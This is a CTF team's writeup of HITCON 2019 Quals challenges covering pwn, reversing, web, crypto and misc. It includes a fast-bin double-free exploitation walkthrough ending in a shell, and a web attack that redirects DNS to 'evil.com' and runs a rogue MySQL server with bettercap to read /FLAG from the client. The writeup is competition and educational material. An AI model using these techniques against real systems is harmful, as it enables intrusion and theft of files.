HITCON CTF 2019 Quals writeup
pwnPHOfun
# 🔥 Pwn ## trick or treat [Exploit script](https://github.com/phieulang1993/ctf-writeups/blob/master/2019/hitcon_quals/trick_or_treat/trick_or_treat.py) ## Crypto in the shell [Full writeup](https://gist.github.com/Mipu94/6a10aed77d5ac5742489dffafb20395a) ## poe I/luna [Full writeup](https://github.com/hocnc/solutions_by_me/blob/master/hitcon_2019/poe/I/README.md) ## EmojiVM - PWN ### The Vulnerability Only the `push` (opcode 0xd) and `pop` (opcode 0xe) check if the stack pointer equal to the boundaries. So we can use other instructions to move the stack pointer out of the stack memory. ### The Exploitation The VM memory allocator `GPTR` table is right before the stack memory. The `GPTR` table struct: ~~~c++ struct gptrTable { struct buf* buf[10]; }; ~~~ Each table entry has the following struct: ~~~c++ struct buf { _QWORD size; unsigned __int8 *buf; }; ~~~ The idea to exploit the VM is: - decrease the stack pointer, make it into the gptr table - issue an add instruction, one of it's parameter is a gptr entry, the other is 0 - the result of the add instruction : `0 + gptr_entry_address = gptr_entry_address` will be stored at the stack top. - So we have two gptr buffer which point to a same memory. - We free the two gptr buffers, so the `struct buf* buf` will be freed twice - Use fast-bin attack to allocate new 2 buffer `A` and `B` with the `A->buf == B` - Then we got arbitrary read/write on buffer `B` by modify buffer `A` - Leak a libc pointer by decrease the stack pointer to the got table - Overwrite free_hook -> pop shell ### fast-bin attack first we allocate 3 buffer with size 99, the gptr table will have 3 entries: ~~~c++ gptr_table[0] = x x->buf = a x->size = 99 gptr_table[1] = y y->buf = b y->size = 99 gptr_table[2] = z z->buf = c z->size = 99 ~~~ then we free the first one, the gptr table will like: ~~~c++ gptr_table[0] = NULL gptr_table[1] = y y->buf = b y->size = 99 gptr_table[2] = z z->buf = c z->size = 99 Fast-bin size 0x10: x -> NULL ~~~ Then we issue `add` instruction with the stack top is at the `gptr_table[0]`, then the table will be like: ~~~c++ gptr_table[0] = y y->buf = b y->size = 99 gptr_table[1] = y y->buf = b y->size = 99 gptr_table[2] = z z->buf = c z->size = 99 Fast-bin size 0x10: x -> NULL ~~~ Then we free the first one ~~~c++ gptr_table[0] = NULL gptr_table[1] = y y->buf = NULL y->size = 99 gptr_table[2] = z z->buf = c z->size = 99 Fast-bin size 0x10: x -> y -> NULL ~~~ then we free the third buffer: ~~~c++ gptr_table[0] = NULL gptr_table[1] = y y->buf = NULL y->size = 99 gptr_table[2] = NULL Fast-bin size 0x10: x -> y -> z -> NULL ~~~ we free the seccond buffer: ~~~c++ gptr_table[0] = NULL gptr_table[1] = NULL gptr_table[2] = NULL Fast-bin size 0x10: x -> y -> z -> y -> NULL ~~~ Next, we allocate new buffer with size 99: ~~~c++ gptr_table[0] = y y->buf = a y->size = 99 gptr_table[1] = NULL gptr_table[2] = NULL Fast-bin size 0x10: x -> y -> z -> NULL ~~~ we allocate new buffer with size 0xf: ~~~c++ gptr_table[0] = y y->buf = a y->size = 99 gptr_table[1] = z z->buf = y z->size = 0xf gptr_table[2] = NULL Fast-bin size 0x10: x -> NULL ~~~ By modifying the second entry, we can replace `y->buf` with any address and got the arbitrary read write. ----------- # ☯️ Reverse ## CoreDump The challenge is a memory dump of a crashed process. The dump is recognized as a ELF file in IDA. Search for strings we can see : ```c Please enter the flag: Congratz ! The flag is hitcon{%s} :)\n Test failed ! ... ``` Follow them we will see the main function, rename variables, define structs, we got: ~~~c++ int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax signed int i; // [rsp+10h] [rbp-140h] _BYTE *v5; // [rsp+18h] [rbp-138h] struct xxx tbl[5]; // [rsp+28h] [rbp-128h] __int64 v7; // [rsp+78h] [rbp-D8h] _BYTE input[64]; // [rsp+80h] [rbp-D0h] _QWORD tmp[16]; // [rsp+C0h] [rbp-90h] unsigned __int64 v10; // [rsp+148h] [rbp-8h] v10 = __readfsqword(0x28u); sub_555555554750(); sub_555555554750(); sub_555555554750(); tbl[0].key = (struct xor_key)check1; tbl[1].encoded_func = (__int64 *)check2; tbl[2].encoded_func = (__int64 *)check3; tbl[3].encoded_func = (__int64 *)check4; tbl[4].encoded_func = (__int64 *)check5; for ( i = 1; i <= 5; ++i ) { *(_DWORD *)tbl[i].key.key = key[i - 1]; tbl[i].key.size = size[i - 1]; } tbl[0].key = (struct xor_key)73014444032LL; if ( (unsigned int)sub_555555554BD8(qword_555555756AC0, 73014444032LL) == 0x1337 ) { *(_QWORD *)input = 0LL; *(_QWORD *)&input[8] = 0LL; *(_QWORD *)&input[16] = 0LL; *(_QWORD *)&input[24] = 0LL; *(_QWORD *)&input[32] = 0LL; *(_QWORD *)&input[40] = 0LL; *(_QWORD *)&input[48] = 0LL; *(_DWORD *)&input[56] = 0; tmp[0] = 0LL; tmp[1] = 0LL; tmp[2] = 0LL; tmp[3] = 0LL; tmp[4] = 0LL; tmp[5] = 0LL; tmp[6] = 0LL; LODWORD(tmp[7]) = 0; tmp[8] = 0LL; tmp[9] = 0LL; tmp[10] = 0LL; tmp[11] = 0LL; tmp[12] = 0LL; tmp[13] = 0LL; tmp[14] = 0LL; LODWORD(tmp[15]) = 0; v5 = input; printf("Please enter the flag: ", (_BYTE *)0x1100000000LL); read(0LL, input, 0x37); while ( *v5 ) { if ( *v5 == 0xA || *v5 == 0xD ) { *v5 = 0; break; } ++v5; } if ( strlen(input) != 0x34 ) sub_555555554949((__int64)input, (__int64)input); memcpy(tmp, input, 10); call_check_func(tbl[0].encoded_func, *(_QWORD *)&tbl[1].key, tmp, 10LL); memset(tmp, 0x37); memcpy(tmp, &input[10], 8); call_check_func_2(tbl[1].encoded_func, *(_QWORD *)&tbl[2].key, tmp); memset(tmp, 0x37); memcpy(tmp, &input[18], 18); call_check_func(tbl[2].encoded_func, *(_QWORD *)&tbl[3].key, tmp, 18LL); memset(tmp, 0x37); memcpy(tmp, &input[36], 12); call_check_func(tbl[3].encoded_func, *(_QWORD *)&tbl[4].key, tmp, 12LL); memset(tmp, 0x37); memcpy(tmp, &input[48], 4); call_check_func_2(tbl[4].encoded_func, v7, tmp); printf("Congratz ! The flag is hitcon{%s} :)\n", input); result = 0; } else { puts("Test failed !"); result = 1; } if ( __readfsqword(0x28u) != v10 ) stack_cookie_failed(); return result; } ~~~ function `call_check_func` and `call_check_func_2` both call to `xor_decode` ~~~c++ void __fastcall xor_decode(_BYTE *input, struct xor_key key, _BYTE *result) { __int32 i; // [rsp+28h] [rbp-28h] char v4[4]; // [rsp+34h] [rbp-1Ch] unsigned __int64 v5; // [rsp+38h] [rbp-18h] v5 = __readfsqword(0x28u); v4[0] = key.key[0]; v4[1] = key.key[1]; v4[2] = key.key[2]; v4[3] = key.key[3]; for ( i = 0; i < key.size; ++i ) result[i] = v4[i % 4] ^ input[i]; if ( __readfsqword(0x28u) != v5 ) stack_cookie_failed(); } ~~~ So the decode the checks function with xor key then split the input into 5 parts and check with 5 corresponding check function. - check 1 is xor encryption then compare to hardcoded memory -> brute force byte-by-byte - check 2 is modified xtea -> brute force word-by-word - check3 is modified base64 -> base64 decode with custom charset - check 4 is rc4 then compare to hardcoded memory -> brute force byte-by-byte - check 5 is crc, I guessed the flag. The flag: `hitcon{tH4nK_U_s0_muCh_F0r_r3c0v3r1ng_+h3_fL4g_1_Luv_y0u_<3}` ## Suicune [Full writeup](https://gist.github.com/nhatpm-ia/09ed89fa0d3e2090d8bbc18ab5d2aeda) ----------- # 💉 Web ## Virtual Public Network [Full writeup](https://github.com/vinhjaxt/CTF-writeups/blob/master/HITCONCTF-2019/web-Virtual-Public-Network.md) ## Luatic [Full writeup](https://github.com/vinhjaxt/CTF-writeups/blob/master/HITCONCTF-2019/web-Luatic.md) ## gogopowersql There is an obvious buffer-overflow bug in the binary. We were pretty sure that the author wants us to overwrite the database connection settings (host, user, pass, dbname) by merely sending HTTP request with an URL as follows: ```python URL = "http://13.231.38.172/cgi-bin/query?" + ( "a=b&"*256 ) + "{host}={dbuser}&{dbpass}={dbname}" ``` However, the only thing stopped us is the filter function which guarantees that an output has to be `[a-zA-Z]`, thus we cannot overwrite the `host` by our malicious remote server address (`13.37.13.37` or `evil.com` for example). Struggled for a while, we found out that an URL's parameter will be treated as `env` variable? `http://localhost/?a=b` ==> `ENV[a] = b` Moreover, later on, `goahead` server will be executing `cgi-bin/query` binary. Made some breakpoints to confirm this behavior, we had an idea that define an `environment` variable named [LOCALDOMAIN](https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/resolv/res_init.c#L262) as `evil.com` **(1)** Also, overwritten the database `host` as `xxx` (not violating the filter rule) **(2)** (1) + (2) --> Therefore, when the binary `query` is trying look up an address of the host `xxx`, it actually ends up at resolving `xxx.evil.com` Now what? By abusing [MYSQL LOCAL INFILE](https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html) feature, we were able to make a client (the binary `query` in this case) to send a file on their machine to the server (`xxx.evil.com` in this case). Boom, we got the flag **Tips:** To set up an MySQL rouge server, this can be easily done by [bettercap mysql.server](https://www.bettercap.org/modules/ethernet/servers/mysql.server/) ``` ./go/bin/bettercap -eval "set mysql.server.infile /FLAG;set mysql.server.address 0.0.0.0; set mysql.server.port 3307; mysql.server on" ``` ## bounty pl33z [Full writeup](https://gist.github.com/trichimtrich/cdab47706fb075cb6ee5ad25cf6ec9ff) ## buggy .net [Full writeup](https://gist.github.com/0xfed/5235779f89263e650fca44116be9ddaf) ----------- # 🔐 Crypto ## lost modulus again In this RSA challenge, we're given `e`, `d`, `a = p^-1 mod q`, `b = q^-1 mod p` and need to find `p`, `q`. Since `a*p + b*q == p*q + 1` (1), `e*d == k * (p*q - p - q + 1)` (2), `k < e` and `e` is small, we can brute-force `k` until `p` and `q` can be obtained from (1) & (2). ## simple haskell In this challenge, we're given `a`, `c`, `d = a^4 * b^2 * c mod n`, `b^2 < n` and `b` can be factored in to small primes (the first 131 primes only). What we need to do is to factor b and map the prime factors to bits of the flag. It's trivial that `b = isqrt((d * inverse(a,n)^4 * inverse(c,n)) mod n)`. Since `b` is a product of small primes, factoring b takes less than a second and the challenge is solved. ## not so hard rsa In this challenge, we're given 10 RSA public keys: (`n_i`, `e_i`) which share the same 465-bit private exponent `d`: `d*e_i = k*phi(n_i) + 1` for `i = 0...9`. We need to recover `d` to decrypt the flag. To solve the challenge, we can model it as a closest vector problem in lattice as follows: ``` d * e0 + k0 * -n0 = -k0 * (p0+q0) + 1 d * e1 + k1 * -n1 = -k1 * (p1+q1) + 1 ... d * e9 + k9 * -n9 = -k9 * (p9+q9) + 1 d * 1 = d ``` Therefore: ``` [e0 ] [-n0] [0 ] [0 ] [-k0 * (p0+q0) + 1] [e1 ] [0 ] [-n1] [0 ] [-k1 * (p1+q1) + 1] d * [...] + k0 * [...] + k1 * [...] + ... + k9 * [...] = [... ] [e9 ] [0 ] [0 ] [-n9] [-k9 * (p9+q9) + 1] [1 ] [0 ] [0 ] [0 ] [d ] ``` (Please note that the vector on the right-hand side is small compared to others on the left-hand side) To solve this kind of problem, please refer to: https://colab.research.google.com/github/nguyenduyhieukma/CTF-Writeups/blob/master/Google%20CTF%20Quals/2019/reality/reality-solution.ipynb. **Warning**: you may need to brute-force a few bits of `d` to completely solve this challenge. ----------- # 💭 Misc ## hexdump [script](https://gist.github.com/ducnhse130201/4a03ec078fb1a3677607b99a9d6378ae) ## ev3 player This [power lua script](https://github.com/ev3dev/lms-hacker-tools/blob/master/EV3/ev3_dissector.lua) helps us to make the packets readable. Looking at it, we noted there are messages having `System command` as `BEGIN_DOWNLOAD`. We were pretty sure that the brick was trying to download both `fl.rsf` and `ag.rsf` as [soundwave rsf](https://sites.google.com/site/ev3basic/ev3-basic-programming/using-buttons-the-screen-and-the-leds/lego-ev3-standard-bitmaps) files then play it later. --> Parse the packet --> Get raw bytes of the rsf files --> load it into [LEGO Education Mindstorms EV3 software](https://education.lego.com/en-gb/downloads/mindstorms-ev3/software) --> Listen to them with my poor English skills... ## ev3 arm Again, we leveraged on the script in this [repo](https://github.com/ev3dev/lms-hacker-tools/tree/master/EV3) to disasm the rbf file. We observed that there are some calls looks like: ```CALL(OBJECT..., .. .0F,...)``` We figured out that they are instructions for the motors. One of my teammates came up with the tool: http://ev3treevis.azurewebsites.net/ After a while, we successfully simulated it, plus some guessing since the visual isn't clear enough , we finally got the right flag: `hitcon{why_not_just_use_the_printer}`